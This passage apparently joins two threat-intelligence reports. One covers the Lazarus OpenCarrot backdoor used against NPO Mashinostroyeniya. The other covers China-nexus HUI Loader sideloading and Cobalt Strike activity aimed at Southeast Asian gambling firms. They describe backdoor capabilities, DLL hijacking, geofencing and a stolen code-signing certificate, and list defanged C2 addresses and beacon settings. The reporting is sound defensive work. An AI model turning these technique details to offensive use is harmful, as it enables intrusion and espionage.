The OpenCarrot sample we analyzed is implemented as a Windows service DLL file, intended to execute in a persistent manner. In line with typical practices of the Lazarus group, OpenCarrot is subject to continuous, not necessarily incremental, changes. The file has a compilation timestamp of Wednesday, Dec. 01, 2021. Although the timestamp could have been manipulated by the threat actors, given the proximity to the May 2022 suspected intrusion date, it’s likely that the timestamp is authentic. Our confidence in this assessment also increases through the infrastructure analysis below.
The OpenCarrot variant we analyzed implements over 25 backdoor commands with a wide range of functionality representative of Lazarus group backdoors. In this case, supported functionality includes:
Reconnaissance: File and process attribute enumeration, scanning and ICMP-pinging hosts in IP ranges for open TCP ports and availability.
Filesystem and process manipulation: Process termination, DLL injection, and file deletion, renaming, and timestomping.
Reconfiguration and connectivity: Managing C2 communications, including terminating existing and establishing new comms channels, changing malware configuration data stored on the filesystem, and proxying network connections.
The OpenCarrot sample displays further characteristics often seen among Lazarus Group malware.
Its backdoor commands are indexed by consecutive integers, a common trait of Lazarus group malware. In addition to integer-indexed commands, the developers implement string-indexed sub-commands.
Backdoor command indexing
Keeping with their typicalmode of operations, the malware is intended to execute as a Windows service and exports the ServiceMain function.
OpenCarrot implements executable code in a section named .vlizer indicating the use of code virtualization for obfuscation. The .vlizer section is associated with the Oreans Code Virtualizer code protection platform, a functional subset of Themida. As previously observed in Themida-protected Lazarus group malware, some code segments of the OpenCarrot variant we analyzed are not protected.
As part of its initialization process, OpenCarrot ingests configuration data from a file whose name is composed of the service name in whose context the malware executes and the dll.mui extension. The configuration data contains encryption-protected C2 information. The use of configuration files with the dll.mui extension is a long-standing theme among Lazarus group malware, mimicking a lesser-known standard Windows file extension used to denote application resources and externalities.
OpenCarrot implements relatively long sleep time periods. To avoid remaining idle for too long whenever the user of the infected machine is active, OpenCarrot implements a mechanism to exit its sleep state earlier than instructed. If the malware is instructed to sleep for 15 seconds or more, it then monitors in 15 second intervals for the insertion of new drives, such as USBs. If such an event occurs, the malware exits its sleep state before the configured sleep time elapses. A variant of this technique has been previously observed in the Pebbledash malware.
Disk drive monitoring
OpenCarrot’s versatility is evident with its support of multiple methods for communicating with C2 servers. The malware dispatches commands for execution based on attacker-provided data originating not only from remote C2 servers, but also from local processes through named pipes and incoming connections to a TCP port on which OpenCarrot listens.
Infrastructure Analysis
North Korean-nexus of threat actors are known for not maintaining the OPSEC of their campaigns. A characteristic lack of segmentation allows researchers to amass unique insights across a variety of unreported activity. Infrastructure connections in particular often allow us to track the evolution of their campaigns over long periods of time.
We link the NPO Mashinostroyeniya email discussing suspicious networking communication as active C2 communications occurring through 192.169.7[.]197, and 5.134.119[.]142. The internal host, the organization’s Red Hat email server, was actively compromised and in communication with the attackers malicious infrastructure. A review of all details concludes the threat actor was likely operating on this server for an extensive period of time prior to the internal team’s discovery.
Email between NPO Mash Employees sharing beaconing process details
This set of malicious infrastructure was served via CrownCloud (Australia) and OhzCloud (Spain) VPS hosting providers. During the intrusion, the two domains centos-packages[.]com and redhat-packages[.]com were resolving to those C2 IP addresses. Our assessment is that this particular cluster of infrastructure became active in November 2021, and was immediately paused the same day of NPO Mashinostroyeniya’s intrusion discovery in May 2022. This finding may indicate the intrusion was high priority and closely monitored by the operators.
Infrastructure and Timeline
A relationship can be observed between this cluster of activity and a more recent ScarCruft campaign. Following the intrusion operators immediately killing their C2 server when the suspicious traffic was identified by the victim in May 2022, the centos-packages[.]com domain use was paused until it began resolving to 160.202.79[.]226 in February 2023. 160.202.79[.]226 is a QuickPacket VPS (US) hosting IP also being shared with the domain dallynk[.]com and others used by ScarCruft for malware delivery and C2 initiated through malicious documents.
Further, the domain dallynk[.]com follows the theme we’ve previously reported in which DPRK-associated threat actors impersonate Daily NK, a prominent South Korean online news outlet that provides independent reporting on North Korea.
The collection of activity stemming from the dallynk[.]com domain contains malware loading tools and techniques matching those seen in previously reported ScarCruft activity using the RokRAT backdoor. Similarities in server configuration history can also link to lower-confidence BlueNoroff relationships.
Infrastructure ScarCruft Link
While conducting this research, we first publicly identified the link between the JumpCloud intrusion and North Korean threat actors. One detail that immediately struck us was the domain theme similarities, such as centos-pkg[.]org / centos-repos[.]org (JumpCloud), and centos-packages[.]com (NPO Mash). This detail is superficial and not strong enough alone to base direct clustering, but alongside other aforementioned North Korean threat actor connections, it stokes our curiosity for the particulars of the threat actors’ infrastructure creation and management procedures.
Lastly, we advise particular care into how this infrastructure is further attributed when reviewed historically. For example, the C2 server IP address 192.169.7[.]197 was used between January and May 2022 by the DPRK linked threat actor; however, that same IP was used by the Arid Viper/Desert Falcon APT in 2020, first reported by Meta Threat Investigators. Arid Viper is associated with Palestinian interests, conducting activity throughout the Middle East. We assess the Arid Viper activity is unrelated to our findings and the overlap of infrastructure is simply an example of commonly reused dubious VPS hosting providers. This further highlights the importance of associating active timeframes with IP-based indicators.
Conclusion
With a high level of confidence, we attribute this intrusion to threat actors independently associated with North Korea. Based on our assessment, this incident stands as a compelling illustration of North Korea’s proactive measures to covertly advance their missile development objectives, as evidenced by their direct compromise of a Russian Defense-Industrial Base (DIB) organization.
The convergence of North Korean cyber threat actors represents a profoundly consequential menace warranting comprehensive global monitoring. Operating in unison as a cohesive cluster, these actors consistently undertake a diverse range of campaigns motivated by various factors. In light of these findings, it becomes crucial to address and mitigate this threat with utmost vigilance and strategic response.
SentinelLabs has identified suspected-Chinese malware and infrastructure potentially involved in China-associated operations directed at the gambling sector within Southeast Asia.
The threat actors drop Adobe Creative Cloud, Microsoft Edge, and McAfee VirusScan executables vulnerable to DLL hijacking to deploy Cobalt Strike beacons.
We’ve observed related malware using the signature of a likely stolen code signing certificate issued to PMG PTE LTD, a Singapore-based vendor of Ivacy VPN services.
Indicators point to the China-aligned BRONZE STARLIGHT group; however, the exact grouping remains unclear due to the interconnected relationships among various Chinese APT groups.
Overview
Thriving after China’s crackdown on its Macao-based gambling industry, the Southeast Asian gambling sector has become a focal point for the country’s interests in the region, particularly data collection for monitoring and countering related activities in China.
We observed malware and infrastructure likely related to China-aligned activities targeting this sector. The malware and infrastructure we analyze are related to indicators observed in Operation ChattyGoblin and are likely part of the same activity cluster. Operation ChattyGoblin is ESET’s name for a series of attacks by China-nexus actors targeting Southeast Asian gambling companies with trojanizedComm100 and LiveHelp100 chat applications.
The targeting, used malware, and C2 infrastructure specifics point to past activities that third parties have linked to the China-aligned BRONZE STARLIGHT group (also known as DEV-0401 or SLIME34). This is a suspected Chinese ‘ransomware’ group whose main goal appears to be espionage rather than financial gain, using ransomware as means for distraction or misattribution. Team T5 has also reported on BRONZE STARLIGHT’s politically-motivated involvement in targeting the Southeast Asian gambling industry.
Despite the indicators observed, accurate clustering remains challenging. The Chinese APT ecosystem is plagued by extensive sharing of malware and infrastructure management processes between groups, making high confidence clustering difficult based on current visibility. Our analysis has led us to historical artifacts that represent points of convergence between BRONZE STARLIGHT and other China-based actors, which showcases the complexity of a Chinese threat ecosystem composed of closely affiliated groups.
Background
ESET reported that a ChattyGoblin-related attack in March 2023 targeted the support agents of a gambling company in the Philippines. In the attack, a trojanized LiveHelp100 application downloaded a .NET malware loader named agentupdate_plugins.exe. The final payload was a Cobalt Strike beacon using the duckducklive[.]top domain for C2 purposes. The hash of this malware loader was not disclosed.
We subsequently identified malware loaders that we assess are closely related to those observed as part of Operation ChattyGoblin and are likely part of the same activity cluster – a .NET executable also named agentupdate_plugins.exe and its variant AdventureQuest.exe.
This association is based on naming conventions, code, and functional overlaps with the sample described in ESET’s report. Although we cannot conclusively determine whether the agentupdate_plugins.exe we analyzed is the same as that reported by ESET, we note that one of its VirusTotal submissions is dated March 2023 and originates from the Philippines. This aligns with the geolocation of the target and the timeline of the ChattyGoblin-related attack involving agentupdate_plugins.exe.
The Malware Loaders
agentupdate_plugins.exe and AdventureQuest.exe deploy .NET executables based on the SharpUnhooker tool, which download second-stage data from Alibaba buckets hosted at agenfile.oss-ap-southeast-1.aliyuncs[.]com and codewavehub.oss-ap-southeast-1.aliyuncs[.]com. The second-stage data is stored in password-protected zip archives.
The zip archives downloaded by agentupdate_plugins.exe and AdventureQuest.exe contain sideloading capabilities. Each of the archives we were able to retrieve consists of a legitimate executable vulnerable to DLL search order hijacking, a malicious DLL that gets sideloaded by the executable when started, and an encrypted data file named agent.data.
The executables are components of the software products Adobe Creative Cloud, Microsoft Edge, and McAfee VirusScan. The malicious DLLs masquerade as their legitimate counterparts: They export functions with the same names, such that specific functions, when invoked by the legitimate executables, decrypt and execute code embedded in the data files. The data files we could retrieve implement Cobalt Strike beacons.
The 100helpchat[.]com and live100heip[.]com C2 domains follow the naming convention of the LiveHelp100 trojanized application used in operation ChattyGoblin, possibly to make malicious network activity look like legitimate LiveHelp100 activity.
agentupdate_plugins.exe and AdventureQuest.exe implement geofencing based on the ifconfig.co IP-based geolocation service. The loaders are meant to stop their execution if they are run on a machine located in the United States, Germany, France, Russia, India, Canada, or the United Kingdom. This may indicate that the threat actors have no interest in intrusions in these countries for this campaign. Due to errors in implementation, the geofencing fails to work as intended.
Stolen Ivacy VPN Certificate
AdventureQuest.exe is signed using a certificate issued to the Ivacy VPN vendor PMG PTE LTD:
Ivacy has been present on the market since 2007 and attracts users with low-price offerings.
It is likely that at some point the PMG PTE LTD singing key has been stolen – a familiar technique of known Chinese threat actors to enable malware signing. VPN providers are critical targets, since they enable threat actors to potentially gain access to sensitive user data and communications.
At the time of writing, we have not observed any public statements by PMG PTE LTD clarifying the circumstances that have led to the use of their signing keys for signing malware. The DigiCert Certificate Authority has revoked the compromised certificate after a public discussion on the issue.
HUI Loader
The malicious DLLs libcef.dll, msedge_elf.dll, and LockDown.dll distributed by agentupdate_plugins.exe and AdventureQuest.exe are HUI Loader variants. HUI Loader is a custom malware loader shared between several China-nexus groups. The loader is executed through sideloading by legitimate executables vulnerable to DLL hijacking and stages a payload stored in an encrypted file. HUI Loader variants may differ in implemented payload staging and execution techniques as well as additional functionalities, such as establishing persistence and disabling security features.
libcef.dll, msedge_elf.dll, and LockDown.dll closely resemble HUI Loader variants observed in a string of cyberespionage and ransomware operations that third parties have linked to APT10, TA410, and BRONZE STARLIGHT.
Threat actor
Description
BRONZE STARLIGHT Aliases: DEV-0401, SLIME34
A China-based ransomware operator active since 2021. The group is known for deploying a variety of ransomware families, such as LockFile, AtomSilo, NightSky, LockBit 2.0, and Pandora, and shares tooling with APT10. BRONZE STARLIGHT’s main goal is suspected to be espionage rather than financial gain, using ransomware as means for distraction or misattribution.
APT10 Aliases: BRONZE RIVERSIDE, MenuPass
A China-nexus cyberespionage group active since at least 2009. The group focuses on targeting entities considered strategically important by the Chinese state.
TA410
A China-nexus cyberespionage group loosely linked to APT10, tracked as a distinct entity. The group is mostly known for targeting the US utilities sector and Middle Eastern governments.
APT10 and TA410 Operations
The cef_string_map_key function of libcef.dll downloaded by agentupdate_plugins.exe references the C:\Users\hellokety.ini file.
The cef_string_map_key function
HUI Loader variants with this exact artifact have been reported as part of several cyberespionage operations:
enSilo (now Fortinet) has disclosed cyberespionage activities in Southeast Asia observed in April 2019 and attributed them with medium confidence to APT10.
Researchers from Macnica, Secureworks, and Kaspersky have presented on A41APT campaign activity conducted throughout 2021. A41APT is a long-running cyberespionage campaign targeting Japanese companies and their overseas branches. Kaspersky has attributed earlier A41APT activity (from March 2019 to the end of December 2020) with high confidence to APT10. TrendMicro has attributed A41APT activity over 2020 and 2021 to a group they track as Earth Tengshe, noting that Earth Tengshe is related to APT10 with some differences in employed TTPs.
ESET has presented on TA410 activities, noting the hellokety.ini artifact in this context. ESET also notes the possibility of misattribution the April 2019 activities reported by Fortinet to APT10 instead of TA410.
HUI Loader variants (hellokety.ini) used in APT10 and TA410 operations
BRONZE STARLIGHT Operations
Since around 2021, HUI Loader variants have been deployed in operations involving the ransomware families LockFile (Symantec, 2021; NSFOCUS, 2021), AtomSilo (Sophos, 2021), NightSky (Microsoft, 2021), LockBit 2.0 (SentinelLabs, 2022), and Pandora (TrendMicro, 2022). Some of these operations have been attributed to BRONZE STARLIGHT by the organizations disclosing them and all of them collectively by Secureworks. All of these ransomware families have been noted by Microsoft as being part of the BRONZE STARLIGHT arsenal in time intervals aligning with those of the previously mentioned operations.
C2 Infrastructure
The Cobalt Strike C2 GET and POST URIs associated with the Operation ChattyGoblin domain duckducklive[.]top contain /functionalStatus and /rest/2/meetings, respectively. Their uncommon full forms closely resemble those observed by Secureworks in AtomSilo, Night Sky, and Pandora operations they attribute to BRONZE STARLIGHT. The researchers reported that, as of June 2022, they had not seen this Cobalt Strike configuration associated with other ransomware families. The threat actors have likely adapted a public Cobalt Strike malleable C2 profile available in a Github repository of the user xx0hcd.
The C2 GET and POST URIs associated with the www.100helpchat[.]com and live100heip[.]com domains we observed contain /owa followed by character strings. The format of these strings resembles those in the URIs associated with duckducklive[.]top and also those reported in past BRONZE STARLIGHT activities. It is likely that the threat actors have adapted another open source Cobalt Strike malleable C2 profile, which is also available in a Github repository of the user xx0hcd.
The Cobalt Strike profiles associated with the duckducklive[.]top, www.100helpchat[.]com, and live100heip[.]com domains share a C2 port number (8443) and a watermark (391144938). The earliest record of duckducklive[.]top becoming active is dated 24 Feb 2023. The earliest records of live100heip[.]com and 100helpchat[.]com becoming active are dated 24 Feb 2023 (overlapping with that of duckducklive[.]top) and 28 Feb 2023, respectively.
The three domains are each hidden behind CloudFlare, who were quick in remediation after we reported the service abuse. In this case, however, the actors revealed their true-hosting locations due to an OPSEC mistake in their initial deployment of the domain’s SSL certificates on their Alibaba Cloud hosting servers at 8.218.31[.]103, 47.242.72[.]118, and 47.242.159[.]242.
Certificates use on Alibaba IPs
While the analysis of the Cobalt Strike profiles provides links to previous BRONZE STARLIGHT activities, an assessment of the specific group attribution based on current intelligence should be treated with caution. It is noteworthy that Chinese cyber espionage threat actors are progressively refining their operational tactics in manners that obfuscate clear attribution through publicly available intelligence sources alone.
To illustrate this concept, consider the scenario where a broader array of domains imitating various brands may be interconnected, such as those publicly documented involving the BRONZE STARLIGHT, TA410, and APT10 threat actors. Examples include microsofts[.]net, microupdate[.]xyz, microsofts[.]info, microsofts[.]org, miscrosofts[.]com, microsofts[.]com, kaspresksy[.]com, tencentchat[.]net, and microsoftlab[.]top.
Conclusion
China-nexus threat actors have consistently shared malware, infrastructure, and operational tactics in the past, and continue to do so. The activities this post discusses illustrate the intricate nature of the Chinese threat landscape.
Better understanding of this landscape is essential for keeping up with its dynamics and improving defense strategies. Achieving this necessitates consistent collaborative and information sharing efforts. SentinelLabs remains dedicated to this mission and continues to closely monitor related threats.